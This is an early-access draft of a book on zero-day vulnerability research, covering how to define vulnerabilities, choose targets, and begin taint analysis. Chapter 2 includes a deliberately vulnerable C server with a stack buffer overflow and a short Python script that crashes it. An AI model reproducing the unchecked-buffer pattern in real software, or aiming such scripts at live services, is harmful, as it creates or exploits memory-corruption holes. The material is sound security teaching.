

EARLY ACCESS



NO STARCH PRESS EARLY ACCESS PROGRAM: FEEDBACK WELCOME!

The Early Access program lets you read significant portions of an upcoming book while it's still in the editing and production phases, so you may come across errors or other issues you want to comment on. But while we sincerely appreciate your feedback during a book's EA phase, please use your best discretion when deciding what to report.

At the EA stage, we're most interested in feedback related to content—general comments to the writer, technical errors, versioning concerns, or other high-level issues and observations. As these titles are still in draft form, we already know there may be typos, grammatical mistakes, missing images or captions, layout issues, and instances of placeholder text. No need to report these—they will all be corrected later, during the copyediting, proofreading, and typesetting processes. Please note that any online resources may not be available until the book is complete.

If you encounter any errors (“errata”) you’d like to report, please fill out this [Google form](#) so we can review your comments.

FROM DAY ZERO TO DAY ZERO

FROM DAY ZERO TO DAY ZERO

**A Guide to Vulnerability
Research**

by Eugene Lim



**no starch
press®**

San Francisco

FROM DAY ZERO TO ZERO DAY.

Eugene Lim

Early Access edition, 6/25/24

Copyright © 2025 by Eugene Lim.

All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording, or by any information storage or retrieval system, without the prior written permission of the copyright owner and the publisher.

ISBN-13: 978-1-7185-0394-6(print)

ISBN-13: 978-1-7185-0395-3 (ebook)



Published by No Starch Press®, Inc.
245 8th Street, San Francisco, CA 94103
phone: +1.415.863.9900
www.nostarch.com; info@nostarch.com

Publisher: William Pollock

Managing Editor: Jill Franklin

Developmental Editor: Eva Morrow

For customer service inquiries, please contact info@nostarch.com. For information on distribution, bulk sales, corporate sales, or translations: sales@nostarch.com. For permission to translate this work: rights@nostarch.com. To report counterfeit copies or piracy: counterfeit@nostarch.com.

No Starch Press and the No Starch Press iron logo are registered trademarks of No Starch Press, Inc. Other product and company names mentioned herein may be the trademarks of their respective owners. Rather than use a trademark symbol with every occurrence of a trademarked name, we are using the names only in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the trademark.

The information in this book is distributed on an “As Is” basis, without warranty. While every precaution has been taken in the preparation of this work, neither the author(s) nor No Starch Press, Inc. shall have any liability to any person or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the information contained in it.

BRIEF CONTENTS

Introduction	xxv
------------------------	-----

PART I	
DAY ZERO	1

Chapter 1 Day Zero	3
------------------------------	---

PART II	
CODE REVIEW	xx

Chapter 2 Taint Analysis	13
------------------------------------	----

Chapter 3 Mapping Code to Attack Surface	39
--	----

Chapter 4 Automated Variant Analysis	71
--	----

PART III	
REVERSE ENGINEERING	xx

Chapter 5 Binary Taxonomy	xx
-------------------------------------	----

Chapter 6 Source and Sink Discovery	xx
---	----

Chapter 7 Hybrid Binary Analysis	xx
--	----

PART IV	
FUZZING	xx

Chapter 8 Quick-and-Dirty Fuzzing	xx
---	----

Chapter 9 Coverage-Guided Fuzzing	xx
---	----

Chapter 10 Fuzzing Everything	xx
---	----

PART V	
ZERO DAY	xx

Chapter 11 Zero Day	xx
-------------------------------	----

INTRODUCTION



Zero-day. The term evokes a sense of urgency, fear—and yes, even excitement—in infosec circles. A novel vulnerability unknown even to the developers who introduced it into their creations, free to be exploited at will by the ones who unearthed it. Both rare and overused, dangerous and overhyped, zero-days capture the imagination of security enthusiasts who view zero-day research as one of the pinnacles of the offensive security domain.

Even as a journeyman hacker who had some minor success in security testing, hunting for zero-days appeared to me like a mystic art reserved for only the wisest and most experienced hackers. I read blogposts and watched conference talks detailing incredible zero-day discoveries and exploits, but like the audience in a magic show, could only be impressed by the final reveal without grasping the method, or trick, behind it all. How did the researcher know to look at this particular part of the code? Why did they attempt this exploit instead of another? These were often left as an exercise to the reader. Despite venturing into other disciplines like red teaming or web penetration testing, my experiences did not shed much light on these

questions. I felt like there was a huge gap between where I was and where I needed to be—not quite a beginner, but far from a master.

However, with the right opportunities to practice cross-disciplinary skills like malware reverse engineering, as well as the time and space to focus on deep security research, I began to discover that zero-day hunting wasn't as arcane as I thought it was. Like a magic trick, the process behind it was actually systematic and more importantly, *learnable*. Despite the wide variety of targets and techniques, there are many common tools and approaches researchers use to effectively discover new vulnerabilities.

Who should read this book and why

I wrote this book for others staring across the gap, for whom zero-day research gives them a sense of impostor syndrome despite having a good grasp of offensive security fundamentals. You may be just starting out as a learner, like popping a few boxes in practice or capturing flags at contests. You could have read a web hacking book like *Real-World Bug Hunting* by Peter Yaworski (No Starch Press, 2019) or a more general introduction like *Ethical Hacking* by Daniel G. Graham (No Starch Press, 2021). Or maybe you have some working experience as a penetration tester or red teamer. But you still feel lost when trying to start on security research.

While some blogposts and materials online attempt to teach this subject, they may not go as deep into the whole range of technical skills needed which a book-length treatment can. Or they may go too deep into one particular niche without explaining the overall strategy and thought process needed to approach security research. This book is the book I wished I had back when I first started out. It covers both the high-level overview and nitty-gritty details without assuming too much prior knowledge so that by the time you finish it, you should be able to initiate your own independent security research project.

What this book is about

This book covers three broad techniques in zero-day research: code review, reverse engineering, and fuzzing. However, it doesn't simply teach *how* to use these techniques, but *why*—the best way to deploy them, and for which targets. I explain the process of analyzing a target to identify the most likely weak spots, and demonstrate these with real-world examples. For example, when explaining taint analysis in code review, I take a disclosed vulnerability in actual software and re-discover it from scratch using taint analysis.

While it's impossible to cover the three techniques fully, each of which would take a book by itself, I introduce sub-domains in each technique with sufficient detail so that you'll be able to make your own informed decisions about which tool or technique to use. For example, fuzzing not only comprises traditional random fuzzers but includes coverage-guided fuzzers which use compile- or run-time instrumentation. By learning and applying these concepts, you'll be well-equipped to explore further on your own.

Although the grouping of chapters allows you to jump around based on the technique you wish to focus on, I recommend you read the chapters in this book in order as they progress in your understanding of the target. It may be tempting to jump straight to “fuzz and forget”, but without a deeper understanding of data flows and taint analysis from source code review, you may easily waste lots of time fuzzing the wrong part of a target. Nevertheless, if you feel well-versed in a particular topic, feel free to skip ahead:

Chapter 1: Day Zero Introduces you to the key concepts of zero-day vulnerability research and how it differs from other offensive security disciplines. It also teaches you how to identify potential research targets.

Part 1: Code Review

Chapter 2: Taint Analysis Goes through the process of manual source and sink analysis through real-world examples. It explains the optimal sink-to-source strategy as an optimal approach.

Chapter 3: Mapping Code to Attack Surface Teaches you how to map the code you are reading to the actual target, and vice versa. Enumerates various attack vectors and how to identify them in source code.

Chapter 4: Automated Variant Analysis Demonstrates how you can automate source code analysis using tools like CodeQL. Describes ways to scale your research across multiple targets at once.

Part 2: Reverse Engineering

Chapter 5: Binary Taxonomy Works through several categories of typical binaries and how to reverse-engineer them. Teaches you how to quickly triage binaries and apply the right reverse engineering tools.

Chapter 6: Source and Sink Discovery Explains how to locate areas of interest in binaries for further analysis using static and dynamic methods.

Chapter 7: Hybrid Binary Analysis Covers more advanced reverse engineering approaches such as emulation, code coverage, and symbolic analysis. Combines static and dynamic analysis to narrow down your search.

Part 3: Fuzzing

Chapter 8: Quick-and-Dirty Fuzzing Begins with the basics of fuzzing files and protocols, as well as how to quickly bootstrap fuzzing with templates.

Chapter 9: Coverage-Guided Fuzzing Details the process of coverage-guided fuzzing with AFL++, including writing a harness and analyzing fuzzing performance.

Chapter 10: Fuzzing Everything Covers even more fuzzing targets and approaches to handle complex formats and binaries.

Chapter 11: Zero Day Describes the process of coordinated vulnerability disclosure and how to apply vulnerability research to improve the security of organizations.

How to use this book

This book features many worked examples that you should also practice yourself. While the majority of examples are run on Kali Linux and free and open-source software, a handful include Windows targets, so it's best to use virtual machines to run the relevant operating systems and targets. The source code and scripts used in the examples are available at <https://github.com/spaceraccoon/from-day-zero-to-zero-day>. You should use that as a reference to save time instead of copying-and-pasting snippets from the book.

Along the way, if you face any problems with the examples or have further questions, feel free to create an issue on the GitHub repository or reach out over X at <https://x.com/spaceraccoonsec>.

Further Reading

In the book, I reference several examples from my security research blog at <https://spaceraccoon.dev>, which I'll continue to update with new research and cybersecurity-related topics.

After finishing this book, I recommend following up with more domain-specific books that focus on particular targets such as:

Attacking Network Protocols (No Starch Press, 2017) by James Forshaw deep-dives into network protocols, which requires specialised tools to capture and analyze. The book also provides great detail about protocol internals and cryptography.

The Hardware Hacking Handbook (No Starch Press, 2021) by Colin O'Flynn and Jasper van Woudenberg covers the vast range of hardware targets, as well as the practical skills like electrical knowledge needed to tackle this type of security research.

Practical IoT Hacking (No Starch Press, 2021) by Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, and Beau Woods is a useful survey guide that not only covers hardware but firmware, as well as the wider IoT ecosystem like mobile applications.

After learning the principles of vulnerability research, you'll be able to better appreciate the advanced and specialised techniques covered by these books.

Finally, the world of zero-day research is vast and ever-expanding. New researchers share fresh discoveries all the time, so it's worth checking out social media websites like X or <https://infosec.exchange/explore> for the latest sharings. In addition, cybersecurity conference archives like [hardwear.io](https://hardwear.io/archives/) (<https://hardwear.io/archives/>) and DEF CON (<https://media.defcon.org>), Hack In the Box (<https://conference.hitb.org>), and OffensiveCon (<https://www.offensivecon.org/archive.html>) are a treasure trove of research presentations and papers. Don't forget to follow the blogs of zero-day research organisations and companies like Zero Day Initiative (<https://www.zerodayinitiative.com/blog>) that pull back the curtain on high-impact zero-days.

Good luck on your zero-day hunting!

PART I

CODE REVIEW

1

DAY ZERO

He learned rapidly because his first training was in how to learn.
—Frank Herbert, *Dune*

Once the domain of nation-state actors and independent researchers, hunting *zero days*, or a system vulnerability unknown to its developers or owners, has grown into a massive market. With the number of discovered and exploited zero days constantly growing, vulnerability research—the process of analyzing systems for new vulnerabilities—has assumed a critical role in cybersecurity.

For new entrants in offensive security, vulnerability research may appear to have an almost mythical quality, venturing far beyond typical black-box penetration testing or web hacking into the depths of memory corruption, assembly code, and dynamic instrumentation. This is exacerbated by the fact that most writeups on zero-day findings describe *what* the vulnerability is, but not *how* it was discovered.

Moreover, the sheer breadth of vulnerability research—spanning across hardware and software—means that the methodology for finding a particular vulnerability can vary greatly. As you'll learn, performing effective vulnera-

bility research necessitates an overarching strategy prior to selecting individual tactics.

This chapter introduces you to the world of vulnerability research. You'll learn the basics of reporting vulnerabilities, what vulnerability research is (and isn't), and its three main domains: code review, reverse engineering, and fuzzing. I'll also provide simple criteria to find your own interesting vulnerability research targets. But in order to discover a vulnerability, you first need to know what to look for.

What Is a Vulnerability?

Let's break down the following definition of a vulnerability, provided by the National Institute of Standards and Technology (NIST) (<https://csrc.nist.gov/glossary/term/vulnerability>):

Weakness in an information system, system security procedures, internal controls, or implementation that could be exploited or triggered by a threat source.

First, a vulnerability must be a flaw in the design or implementation of a system. This means that if exploited, the vulnerability causes the system to act in an insecure manner that wasn't intended by the developers.

The Common Vulnerability Scoring System (CVSS) industry standard uses the *CIA (Confidentiality, Integrity, and Availability) triad* to evaluate the impact of vulnerabilities:

Confidentiality An attacker can access data they're not authorized to access.

Integrity An attacker can modify data they're not authorized to modify.

Availability An attacker can disrupt access to the system itself.

These components describe how a successfully exploited vulnerability can impact a system and provide a useful lens to characterize a vulnerability. For example, a vulnerability that allows an attacker to write arbitrary files in an affected system affects the integrity of the system, but doesn't necessarily impact confidentiality. While this won't be at the top of your mind when looking for vulnerabilities, it's helpful when communicating your findings to others, such as when you're writing a vulnerability disclosure report.

Second, the vulnerability must be exploitable by a threat source. If a weakness exists in the system without having some means of exploiting it by an actual threat, it's a bug rather than a vulnerability. A *bug* is a defect that leads to unintended functionality. While all vulnerabilities are bugs, the opposite isn't always true. For example, if a router firmware reports the wrong day of the week because of a mistake in the code that can't be triggered externally, it's a bug but not a vulnerability, as it neither crosses a security boundary nor is exploitable.

The Incorrect Reporting of Vulnerabilities

The frequent conflation of bugs and vulnerabilities can lead to incorrectly reporting vulnerabilities. For example, both the curl and Postgres projects have rejected vulnerability disclosures that could be considered bugs but weren't vulnerabilities. Let's start with the disputed CVE-2020-19909 vulnerability record for curl:

Integer overflow vulnerability in tool_operate.c in curl 7.65.2 via a large value as the retry delay.

As described by curl developer Daniel Stenberg in his blogpost "CVE-2020-19909 is everything that is wrong with CVEs" (<https://daniel.haxx.se/blog/2023/08/26/cve-2020-19909-is-everything-that-is-wrong-with-cves>), this integer overflow occurs in the `--retry-delay` command line option that specifies the number of seconds curl waits before retrying a failed request. If the user specifies a value like 18446744073709552 on a 64-bit machine, the overflow causes curl to evaluate the value as 384 instead.

This scenario satisfies the condition of a weakness due to the integer overflow. It may also be considered exploitable since some systems might pass user input to curl to make server-side web requests. However, it doesn't appear to cross a security boundary. Even if a supposed threat source could exploit this overflow to force a system to retry failed web requests sooner than expected, it's difficult to articulate how this causes a security issue. The amended vulnerability record now states:

NOTE: many parties report that this has no direct security impact on the curl user; however, it may (in theory) cause a denial of service to associated systems or networks if, for example, `--retry-delay` is misinterpreted as a value much smaller than what was intended. This is not especially plausible because the overflow only happens if the user was trying to specify that curl should wait weeks (or longer) before trying to recover from a transient error.

This exploit scenario doesn't cross a security boundary during normal usage of curl by a local user either, since they'd already be able to control `--retry-delay` directly.

A similar reasoning also applies to CVE-2020-21469, the disputed vulnerability record for Postgres, which states that:

An issue was discovered in PostgreSQL 12.2 [that] allows attackers to cause a denial of service via repeatedly sending SIGHUP signals.

The Postgres developers addressed this report in a blogpost titled "CVE-2020-21469 is not a security vulnerability" (<https://www.postgresql.org/about/news/cve-2020-21469-is-not-a-security-vulnerability-2701>). As noted by the developers, in order to exploit this vulnerability, the attacker needs to already have elevated privileges such as:

- A PostgreSQL superuser (postgres)
- A user that was granted permission to execute `pg_reload_conf` by a PostgreSQL superuser

- Access to a privileged operating system user

With these privileges, an attacker can bring down the database using standard functionality without needing to exploit this “vulnerability.” In fact, an attacker could do far worse with these privileges, rendering the point moot.

Keep these distinctions in mind to avoid spending time on non-issues.

Common Vulnerabilities and Exposures Records

A Common Vulnerabilities and Exposures (CVE) identifier—such as CVE-2020-19909 and CVE-2020-21469—is a unique reference assigned to a publicly-disclosed vulnerability. The MITRE Corporation manages the system that publishes these identifiers, which have gradually become a global standard for referencing known vulnerabilities. However, while many consider a CVE record to be an “official” vulnerability, this isn’t the case.

The CVE Program is actually a federated system of CVE Numbering Authorities (CNAs) that can allocate and assign a CVE that falls within their scope. For example, a vendor CNA has the authority to assign CVEs for vulnerabilities affecting their own products, allowing them to control the CVE publication process. While there are common CVE assignment rules and a central CVE request form that goes to the root CNA (MITRE), the CVE assigning authority is still fairly decentralized and left to the discretion of CNAs, which can lead to erroneous CVEs. Moreover, the CVE Program has organically grown into a de-facto industry reference rather than established as a formal international standard.

As such, while it’s nice to get a CVE assigned for a vulnerability you discovered, not all vulnerabilities have CVEs, nor are all CVEs actual vulnerabilities. In Chapter 11, we’ll discuss the responsible disclosure process and working with CNAs in more detail.

Now that you have a clearer idea of what constitutes a vulnerability, let’s discuss vulnerability research.

What Is Zero-Day Vulnerability Research?

Zero-Day Vulnerability research is the systematic process of analyzing software and hardware targets to discover security vulnerabilities. This covers most technology, from desktop applications to internet-of-things (IoT) devices to operating system kernels.

Given this wide scope, vulnerability research focuses on individual components, such as a particular driver in an operating system or a network service in an IoT device. Covering the entire range of potential vulnerabilities and targets is out of this book’s scope, but by isolating particular components, we can generalize techniques applicable across components, such as reverse engineering shared libraries or fuzzing network protocols. While the individual vulnerabilities and contexts differ between targets, the process of finding them follows a common workflow.

To further understand vulnerability research, let's take a moment to differentiate it from penetration testing.

Vulnerability Research vs. Penetration Testing

Vulnerability research and penetration testing share common techniques and tools, but they differ in their goals.

Penetration testing aims to find and exploit vulnerabilities in a particular *system*, whether it's a web application or a network. These vulnerabilities aren't necessarily new—for example, a penetration tester can scan a network for outdated Active Directory servers vulnerable to publicly available exploit scripts.

Meanwhile, vulnerability research aims to discover vulnerabilities in software or hardware targets. These targets may comprise a system, such as a router, but they don't apply solely to specific instances such as Enterprise X's corporate network or a web server at a particular domain. If you discover a new vulnerability in a router, all networks that use this router are theoretically at risk.

Vulnerability research targets differ from penetration testing targets in terms of public availability—whether others can obtain access to the software or hardware. For example, while penetration testing, you may discover that the organization uses a custom plugin script that attackers can exploit to gain access to a server. However, this script exists only on that organization's server and isn't open source or commercially available, falling outside the scope of typical vulnerability research.

Additionally, while a vulnerability needs to be exploitable, vulnerability research doesn't necessarily entail exploiting it. For example, if you discover a buffer overflow that overwrites return address pointers on the stack in a program, a simple proof of concept that triggers this is sufficient for vulnerability research. Developing a full-blown exploit that executes arbitrary shellcode falls under *exploit development*—the process of creating tools or code that exploit vulnerabilities—and is a necessary step in a penetration test. In some large vulnerability research organizations, vulnerability discovery is a separate team from exploit development, passing the output of the former to the latter to refine into reliable exploits. This is very common for complex vulnerabilities such as heap corruption in operating system kernels, which require precise payloads to work across different versions and memory states. However, it's also common to conflate vulnerability research and exploit development. For this book, we'll focus on the narrower definition of vulnerability discovery.

Another major feature of vulnerability research is the use of static and dynamic analysis, including reverse engineering, to analyze a target. Penetration tests often attempt to assess the real-world security posture of a target and may be confined to black-box (with no knowledge of the internal implementation of the target) techniques on external attack surfaces, such as testing the requests made to a web application. Vulnerability research, on the other hand, focuses on white- (with knowledge of the internals, such as source code) and gray-box (with only partial knowledge of the internals)

analysis, finding weaknesses through an “inside out” perspective by using code review and reverse engineering. Thus, vulnerability research is more effective at discovering deeper vulnerabilities.

Domains and Techniques

Vulnerability discovery comprises three domains: code review, reverse engineering, and fuzzing. Each domain includes manual and automated techniques. For example, code review begins with the fundamental skill of manual source-to-sink tracing before diving into automated code analysis tools.

Code Review

Code review is the process of analyzing the source code of a system to identify vulnerabilities. In this book, we begin learning code review rather than reverse engineering or fuzzing in order to build the foundations for advanced skills like root cause analysis and taint analysis. As a key component of vulnerability research is understanding how the target functions, focusing on the code first makes it easier to conceptualize the “backend” of your target when reverse engineering or fuzzing it.

Code review often appears easier than reverse engineering or fuzzing, but the difficulty of discovering a vulnerability doesn’t correlate with its criticality. In some cases, critical vulnerabilities emerge surprisingly close to the surface. Consider CVE-2021-44228, a devastating remote code execution vulnerability in Apache Log4j that affected a staggering number of systems and caused many sleepless nights for defenders. The root cause lay in a Java Naming and Directory Interface (JNDI) injection, a class of vulnerabilities discovered in 2016 by Alvaro Muñoz and Oleksandr Mirosh. That the vulnerability existed unnoticed in the Log4j codebase since 2013 suggests that not enough people (and automated code scans) reviewed the code—or if they did, they didn’t know what to look for.

This brings us to another point about the importance of code review: most software uses open source code in some form, from shared libraries to copied-and-pasted snippets. Decades-old vulnerable code lurks beneath the latest software, waiting to be discovered. In the case of forked code, successor projects may patch a vulnerability but fail to propagate patches upstream. For example, in 2021 I discovered a remote code execution vulnerability in Apache OpenOffice that had been patched in LibreOffice (<https://spaceraccoon.dev/all-your-d-base-are-belong-to-us-part-1-code-execution-in-apache-openoffice>). Due to the ever-expanding web of dependencies in software, a vulnerability in a single open source project could affect thousands of other projects and in turn millions of users.

A prime example of this is the backdoor discovered in *liblzma*, a software library providing data compression functions. Due to the wide usage of *liblzma* in many Linux distributions, under the right circumstances an attacker could exploit the backdoor to gain access to any server with an exposed SSH service in the world.

Due to the ubiquity of open source dependencies in software, instead of trying to break hardened and obfuscated code in proprietary software, creative researchers can target their open source dependencies instead. For example, security research “Angelboy” achieved remote code execution in multiple network attached software (NAS) devices by discovering and exploiting vulnerabilities in Netatalk, an open source Apple Filing Protocol (AFP) server used in these devices, rather than in software written by the vendors.

Reverse Engineering

Reverse engineering involves taking apart software, such as binary executable files compiled from source code, to reveal and analyze its inner workings. In this sense, reverse engineering picks up where code review left off. Although this may appear more daunting than human-readable code, it’s an exciting opportunity because many targets rely on “security by obscurity” to hide blatant weaknesses. This means that they may have avoided the scrutiny of security researchers due to the additional hurdle of reverse engineering. Over time, this allows security vulnerabilities to accumulate without being discovered by others. The first researcher to properly reverse-engineer the software will likely discover many vulnerabilities hiding just beneath the surface.

While code review is similar to reading a complicated map to find your way from Point A to B, reverse engineering is like exploring a dark tunnel that may reveal unexpected treasures at the next turn. However, this doesn’t mean you’ll be fumbling in the dark. We’ll discuss systematic ways to map out a target step-by-step through static and dynamic analysis, eventually carving a similar path as code review from Point A to B.

Reverse engineering doesn’t focus only on lower-level assembly code, as we can compile binaries into intermediate languages like Java bytecode or even include embedded interpreters for scripting languages like JavaScript. Working with incomplete source code extracted or decompiled from these binaries builds on code review capabilities, which is why you’re learning reverse engineering after code review.

Fuzzing

Finally, *fuzzing* provides a highly automated means of finding vulnerabilities by hammering a target with various invalid or unexpected inputs. In the early days of vulnerability research, fuzzing was a largely hands-off affair that involved pointing a fuzzer at a target and waiting for vulnerabilities to come crashing out. Modern coverage-guided fuzzing uses more advanced and effective means of enumerating a target. The growing ease of fuzzing tools has led to many researchers incorporating fuzzing in their workflows and mature product teams using fuzzing to identify low-hanging vulnerabilities early on in the development lifecycle.

You’ll learn to optimize your fuzzing by writing fuzzing harnesses that fuzz interesting or neglected parts of a target. Writing an optimal fuzzing harness draws from many code review and reverse engineering concepts.

Selecting a Vulnerability Research Target

Practicing target selection greatly increases your chances of finding a vulnerability. As you'll see, picking a good target for research can be challenging because a target isn't guaranteed to be vulnerable. I recommend selecting white-box targets at first as a way to practice all three domains of vulnerability research. There are countless projects with source code available on the web, from open source projects to freeware.

We use a rule of three similar to the CIA triad to choose a target: familiarity, availability, and impact.

Familiarity

Familiarity is how much is known about the target. You should pick a target that's written in a programming language or framework you're comfortable with. While many vulnerabilities work similarly across different languages and frameworks, some exploits require specific environments. Even general classes of vulnerabilities like deserialization contain subtle differences depending on the context. However, you don't need to be an expert in exploiting language-specific vulnerabilities so long as you can follow the code.

In some cases, the target may have been researched before or is well-documented. Conference talks, white papers, and vulnerability write-ups provide valuable information that can speed up your familiarization process. While you may want to avoid a hardened target that has been thoroughly researched before by others, I've found that popular targets are constantly changing and adding new features. Don't give up on them before even trying!

Consider the platform the code targets, as these factors affect the types of vulnerabilities you can exploit and your ability to discover them. Is it a web application or a native shared library? Does it call Windows APIs? Will it run on the client or server? Also consider whether the target uses well-known protocols and standards, as having documentation allows you to recognize common functions and routines that are part of these standards and save time in identifying them.

Availability

Unlike the CIA triad, *availability* in the context of vulnerability research means how easy it is to access and analyze the target. There are several important considerations when evaluating the availability of a project. The most obvious is the ease of obtaining the source code: is it on SourceForge (you'd be surprised how many older projects live there) or GitHub? Can you track version changes and development branches? Does the project live in a monorepo or is it scattered across various sub-projects? The last thing you want is to waste time chasing down private dependencies or an obscure shared library.

Also consider how difficult it'll be to set up a testing environment for your target. As you journey further into vulnerability research, you'll need

to test against a working instance of the project to build your *proof of concept* (*PoC*)—a minimal exploit that triggers the vulnerability and demonstrates its impact on the target. While the project might provide compiled binaries, they may omit debugging flags or configurations that make it harder to develop your exploit. What may appear to be a vulnerability in the source code could be mitigated by proper validation or run-time checks. As eloquently put by Manul Laphroaig, *PoC || GTFO* (No Starch Press, 2017)—it’s important to demonstrate that your vulnerability is exploitable.

Ideally, the project comes with a containerized build option or well-documented setup instructions. If building from source is too complex, look for development builds that include debugging symbols and configurations. Test potential vulnerabilities while reviewing the code to validate your assumptions about how it works. This ensures that your research stays on track and grounded in the real-life workings of the target.

One final consideration is the accessibility of the project owners. If you find a vulnerability, someone should be available to acknowledge and patch the bug. Check for a security contact in the README file or the owner’s website. For example, the Apache Software Foundation provides a catch-all security@apache.org email and project-level security contacts. Keep in mind that some project owners might not welcome or be able to respond to vulnerability reports.

Impact

Impact is the importance of the target. While farming vulnerabilities in a dead, decades-old project might be educational, it’s not impactful if no one uses it. At the same time, dead projects could be far more important than they appear; for example, the only known parsing library for a legacy file format a major software uses to maintain backward compatibility.

Useful examples exist across the npm registry, which hosts JavaScript packages used globally by developers. The `js-yaml` package occupies a small footprint of 33 files and rarely updates, but boasts more than 16,000 dependents and is downloaded 32 million times a week (<https://www.npmjs.com/package/js-yaml>)! Finding a vulnerability in such a target would lead to multiple downstream impacts—for instance, the global rush to patch Log4j in the wake of CVE-2021-44228.

There are plenty of metrics to gauge a project’s impact, such as GitHub stars or forks, download counts, and usage in other projects. Which metrics you prioritize depend on your goals in vulnerability research, though working on a target many people use is usually more exciting.

Where to Explore Projects

With these considerations in mind, picking a suitable target from the millions of available codebases can be challenging. I recommend exploring GitHub projects by topic at <https://github.com/topics>, then filtering by programming language and sorting by stars, forks, or last update time. This lets you quickly zoom into potentially interesting projects if you have a specific

focus, like emulators or frameworks. Additionally, explore up-and-coming projects that may not have experienced much scrutiny by other vulnerability researchers at GitHub's trending page (<https://github.com/trending>).

Another option is to browse project directories like the Apache Software Foundation's (ASF) projects page (<https://projects.apache.org>). The directory allows sorting by name, committee, category, programming language, and number of committers. ASF projects have an established vulnerability disclosure process with a security contact of last resort if you're unable to reach the project owner. However, avoid "in the attic" (end of life) and "incubating" (on-boarding to ASF) projects, as they may not respond to security reports.

Conclusion

This chapter introduced you to the rapidly growing and evolving field of vulnerability research by defining vulnerability research and differentiating it from penetration testing, walking through its three domains (code review, reverse engineering, and fuzzing), and discussing how to choose a familiar, available, and impactful target. Now it's time to dive into our first domain: code review.

2

TAINT ANALYSIS

Life is not like water. Things in life don't necessarily flow over the shortest possible route.
—Haruki Murakami, 1Q84

Taint analysis (or *source and sink analysis*) is the analysis of the flow of input through a program from sources to sinks. It relies on a simple idea: a large number of vulnerabilities occur because attacker-controlled input (the *source*) flows to a dangerous function (the *sink*). If the input modifies other variables along the way, these variables become “tainted” and are included in the analysis. If the code later uses those tainted variables to modify others, those variables are also tainted, and so on. This is known as taint propagation. Theoretically, if you analyze every single path from sources to sinks, you’ll cover all possible attack vectors in the code. In practice, however, things quickly get complicated.

In this chapter, you’ll learn to identify sources, sinks, propagators, and sanitizers in source code. Next, you’ll rediscover a known vulnerability in

an open source project with sink-to-source analysis. You will optimize your analysis by selecting vulnerable sinks and filtering for exploitable scenarios. Finally, you'll set up a test environment, build a proof-of-concept exploit, and debug the target.

A Buffer Overflow Example

We'll illustrate the main components of source and sink analysis using a *buffer overflow*, one of the most classic vulnerabilities in software. Typically, a buffer overflow occurs when a program stores input (from a source) into a memory buffer (using a sink function) that is too small and thus overwrites adjacent memory locations. This can lead to all kinds of mischief, including overwriting return addresses and changing the execution flow of the program. Let's begin with a toy example of a buffer overflow.

Listing 2-1 is a simplified version of a TCP server that listens on a single port and stores any messages received into a buffer.

```
server.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>

#define PORT_NUMBER 1234
#define BACKLOG 1
#define MAX_BUFFER_SIZE 128

// Function to handle incoming messages
void handleClient(int clientSocket) {
    char buffer[MAX_BUFFER_SIZE];
    char finalBuffer[MAX_BUFFER_SIZE]; ❶
    int offset = 0;
    ssize_t bytesRead;

    // Receive data
    while ((bytesRead = recv(clientSocket, buffer, MAX_BUFFER_SIZE, 0)) > 0) {
        memcpy(finalBuffer + offset, buffer, bytesRead); ❷
        offset += bytesRead; ❸
    }

    finalBuffer[offset] = '\0'; // Null-terminate the final buffer
    printf("Received data: %s\n", finalBuffer);

    if (bytesRead == 0) {
        printf("Client disconnected\n");
    } else if (bytesRead == -1) {
        perror("Error receiving data");
    }
}
```

```

    }

    // Close the client socket
    close(clientSocket);
}

int main(int argc, char **argv)
{
    int clientSocket;
    int serverSocket;
    struct sockaddr_in clientAddr;
    struct sockaddr_in serverAddr;
    socklen_t addrLen = sizeof(clientAddr);

    // Create the socket
    serverSocket = socket(AF_INET, SOCK_STREAM, 0);

    // Set up server address
    memset(&serverAddr, 0, sizeof(serverAddr));
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(PORT_NUMBER);
    serverAddr.sin_addr.s_addr = INADDR_ANY;

    // Bind the socket to the address
    bind(serverSocket, (struct sockaddr*)&serverAddr, sizeof(struct sockaddr));

    // Start listening for incoming connections
    listen(serverSocket, BACKLOG);

    // Continuously accept connections and handle them
    while (1) {
        // Accept connection
        clientSocket = accept(serverSocket, (struct sockaddr *)&clientAddr, &addrLen);
        if (clientSocket == -1) {
            perror("Error accepting connection");
            continue;
        }

        // Handle the client in a separate function
        handleClient(clientSocket);
    }

    return 0;
}

```

Listing 2-1: A simple TCP server

The message handling function initializes a final buffer with a fixed size of `MAX_BUFFER_SIZE`, which equals 128 bytes ❶. It continuously receives and copies blocks of 128 bytes into the final buffer ❷. While this code lacks error checking and another niceties, it suffers from a far more critical problem: *a buffer overflow!* Since the offset into the final buffer may be incremented beyond 128 bytes ❸, the server can write beyond the allocated final buffer, which eventually causes a crash.

Triggering the Buffer Overflow

To trigger the buffer overflow, you need to send a sufficiently large buffer to the server. First, compile the program with `gcc` and start the server:

```
$ gcc server.c -o server
$ ./server
```

Next we'll craft the simple exploit script with the following code to trigger the buffer overflow:

```
exploit.py import socket

host = socket.gethostname()
port = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
❶ s.connect((host, port))
❷ s.sendall(b'A' * 1024)
s.close()
```

The script connects to the running server ❶ and then sends a buffer containing 1,024 bytes ❷. This far exceeds the server's fixed buffer size of 128 bytes and triggers the overflow.

Execute the exploit script:

```
$ python exploit.py
```

After completing the exploit, the server should terminate with the error message `zsh: segmentation fault ./server`. This fault occurs during a memory access violation caused by the program attempting to access memory outside of its allocated memory.

NOTE

Due to the ubiquity of buffer overflows in early software, many compilers have built-in protections against this. To test it out, compile the program again with the stack protector option:

```
$ gcc server.c -fstack-protector -o server
$ ./server
```

This adds a stack canary (or guard variable) to functions with vulnerable objects like the allocated buffer. A stack canary is a random value that is added to the stack

when a function is executed and checked on exit to ensure it hasn't been modified, such as by a buffer overflow. If it has, the program terminates.

If you run the exploit again, you'll get the error stack smashing detected: terminated instead.

In some cases, by controlling the number of bytes being overwritten, an exploit can target specific bytes that affect the program's execution, such as a return address on the stack that points to executable code. When the program finishes executing a function, it proceeds to execute the instructions at this address. Therefore, overwriting these bytes to point to an attacker-controlled buffer can cause the program to execute malicious instructions instead.

To see how this works, recompile the server without stack protection but add the `-g` option to include debugging symbols that provide debuggers with additional information, such as function names and the corresponding lines in source code for each instruction.

